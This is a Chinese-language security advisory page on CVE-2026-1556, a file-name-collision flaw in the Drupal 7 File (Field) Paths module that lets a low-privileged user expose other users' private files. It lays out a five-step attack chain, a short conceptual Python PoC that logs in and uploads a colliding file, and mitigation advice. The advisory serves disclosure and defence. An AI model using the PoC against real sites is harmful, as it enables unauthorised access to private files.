IPBUF安全漏洞报告
English
CVE-2026-1556 CVSS 6.5 中危

CVE-2026-1556 Drupal文件路径信息泄露漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-1556
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Drupal File (Field) Paths 模块

相关标签

信息泄露Drupal文件上传访问控制绕过CWE-200

漏洞概述

Drupal File (Field) Paths 模块在处理文件 URI 时存在信息泄露漏洞。该漏洞影响运行在 Drupal 7.x 系统上的 File (Field) Paths 模块 7.x 7.1.3 之前的所有版本。由于缺乏对文件名冲突的充分验证,经过身份验证的攻击者可以利用此漏洞,通过特定的上传操作披露其他用户的私人文件。此问题会导致诸如 hook_node_insert() 消费者(例如电子邮件附件模块)获取到错误的文件 URI,从而绕过系统对私有文件设置的正常访问控制,造成敏感信息泄露。

技术细节

该漏洞的核心原理在于 Drupal File (Field) Paths 模块在处理文件上传和 URI 生成时的逻辑缺陷。在 Drupal 7.x 中,当模块处理文件上传时,如果发生文件名冲突,其处理机制未能正确区分不同用户上下文下的文件所有权。攻击者利用低权限账号上传一个与目标私有文件同名的文件,触发冲突处理逻辑。在这个过程中,模块错误地将受害者的私有文件 URI 指向了攻击者的操作上下文或将其暴露给后续处理流程。具体而言,当 Drupal 执行 hook_node_insert() 钩子函数时,相关的模块(如邮件附件模块)会读取这个被篡改或错误的 URI。由于系统的访问控制检查可能依赖于路径或特定的上下文状态,错误的 URI 导致访问控制机制失效,从而允许攻击者获取本应受保护的私有文件内容。这是一种典型的业务逻辑漏洞,利用了文件系统操作与应用程序逻辑之间的不一致性。

攻击链分析

STEP 1
步骤1
攻击者注册或获取一个Drupal站点的低权限账号,并成功登录。
STEP 2
步骤2
攻击者推测或探测目标系统中存在的私有文件名(如通过其他信息泄露途径或猜测)。
STEP 3
步骤3
攻击者构造上传请求,上传一个与目标私有文件同名的文件,触发File (Field) Paths模块的文件名冲突处理逻辑。
STEP 4
步骤4
模块在处理过程中错误地关联了受害者的文件URI,导致hook_node_insert()等钩子函数接收到错误的路径。
STEP 5
步骤5
系统相关功能(如邮件通知)使用错误的URI发送文件,或攻击者通过响应差异获取到私有文件的访问权限,实现信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # This is a conceptual Proof of Concept (PoC) for CVE-2026-1556 # It demonstrates how an authenticated user might attempt to trigger the file disclosure. # Requires valid session cookies and knowledge of the target file structure. target_url = "http://example-drupal-site/node/add/page" login_url = "http://example-drupal-site/user" # Attacker credentials username = "attacker" password = "password" # File to simulate collision (assuming victim has 'secret.pdf') files = { 'files[field_file_und_0]': ('secret.pdf', 'This is the attacker uploaded content', 'application/pdf') } data = { 'title': 'PoC Attack', 'form_id': 'page_node_form', 'form_build_id': 'form-xxx' # Needs to be fetched dynamically } session = requests.Session() # 1. Login to get authenticated session login_data = { 'name': username, 'pass': password, 'form_id': 'user_login', 'op': 'Log in' } session.post(login_url, data=login_data) # 2. Upload the file to trigger the collision vulnerability response = session.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] Upload request sent. Check email attachments or logs for leaked URI.") else: print("[-] Request failed.")

影响范围

Drupal File (Field) Paths 7.x < 7.1.3

防御指南

临时缓解措施
在未升级模块之前,建议暂时禁用 File (Field) Paths 模块的功能,或者严格限制受信任用户组的文件上传权限,以防止攻击者利用文件名冲突机制获取敏感信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表